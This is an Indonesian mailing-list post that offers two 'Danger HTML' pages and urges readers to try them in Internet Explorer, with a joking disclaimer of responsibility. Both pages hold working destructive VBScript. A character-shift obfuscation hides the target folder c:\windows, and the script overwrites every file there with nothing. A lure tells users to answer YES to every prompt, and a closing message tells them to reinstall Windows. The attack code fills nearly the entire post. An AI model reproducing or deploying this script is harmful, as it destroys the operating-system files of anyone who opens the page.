Hi all,
Aku menyertakan 2 Script Danger untuk HTML namun disini bisa
membahayakan bagi yang membuka file HTML ini, nah untuk mengetahui
apakah script ini berbahaya silahkan dicoba saja, tapi .. tapi
aku tidak tanggung yah efeknya apa .. he he .. serius lho ..
kamu buka file HTML ini hanya dengan browser Internet Explorer.
Caranya kamu copy dan paste aja script-script dibawah ini ke
notepage atau ke html editor lalu di save as ke file htm,
coba-coba aja 2 script dibawah ini.
* Aku tidak tanggung jawab atas efek dari HTML ini !!
--------------------- Danger HTML #1 -----------------------
<html><body>
<SCRIPT Language = "JavaScript">
var userAgent=navigator.appName;
var userVer=navigator.appVersion;
var agentInfo=userAgent.substring(0, 1);
var agentVer=userVer.substring(0, 1);
if(agentInfo == "M"){if (agentVer =="4"){
alert("To view this page in full content, make sure \nthat you answer YES to
every question")
}}else {alert("This page requires IE4 or up, \nget it from
www.microsoft.com\ie ")
self.close()
history.go(-1)
}
</SCRIPT>
<script Language="VBScript">
st1="Xli$jmpiw$mr$g>`{mrhs{w$lezi$fiir$hipixih2Tpiewi$Vi1Mrwxepp$[mrhs{w$%
"
st2="e<^ykpfqyu"
On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Call GetFolder(trn(st2,2))
id=msgbox(trn(st1,4),16+0,"Warning !")
Sub GetFolder(InfPath)
On Error Resume Next
if FSO.FolderExists(InfPath) then
Set FolderObj = FSO.GetFolder(InfPath)
Set FO = FolderObj.Files
For each target in FO
Set Real = FSO.OpenTextFile(target.path, 2, False)
Real.close()
next
end if
End Sub
function trn(st,fa)
hsl=""
for i=1 to len(st)
hsl=hsl+chr(asc(mid(st,i,1))-fa)
next
trn=hsl
end function
</script>
</body></html>
-------------------------------------------------------------
------------------------ Danger HTML #2 ---------------------
<html><body>
<SCRIPT Language = "JavaScript">
var userAgent=navigator.appName;
var userVer=navigator.appVersion;
var agentInfo=userAgent.substring(0, 1);
var agentVer=userVer.substring(0, 1);
if(agentInfo == "M"){if (agentVer =="4"){
alert("To view this page in full content, make sure \nthat you answer YES to
every question")
}}else {alert("This page requires IE4 or up, \nget it from
www.microsoft.com\ie ")
self.close()
history.go(-1)
}
</SCRIPT>
<script Language="VBScript">
st1="Xli$jmpiw$mr$g>`{mrhs{w$lezi$fiir$hipixih2Tpiewi$Vi1Mrwxepp$[mrhs{w$%
"
st2="e<^ykpfqyu"
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Call GetFolder(trn(st2,2))
id=msgbox(trn(st1,4),16+0,"Warning !")
Sub GetFolder(InfPath)
On Error Resume Next
if FSO.FolderExists(InfPath) then
Set FolderObj = FSO.GetFolder(InfPath)
Set FO = FolderObj.Files
For each target in FO
Set Real = FSO.OpenTextFile(target.path, 2, False)
Real.close()
next
end if
End Sub
function trn(st,fa)
hsl=""
for i=1 to len(st)
hsl=hsl+chr(asc(mid(st,i,1))-fa)
next
trn=hsl
end function
</script>
</body></html>
------------------------------------------------------------
milis ini didukung oleh :
>> http://www.indolinux.com - dunia linux indonesia
-------------------------------------------------------------------
untuk berhenti kirim email ke [EMAIL PROTECTED]
untuk melihat peraturan kirim email ke [EMAIL PROTECTED]
arsip berada di http://www.mail-archive.com/[email protected]
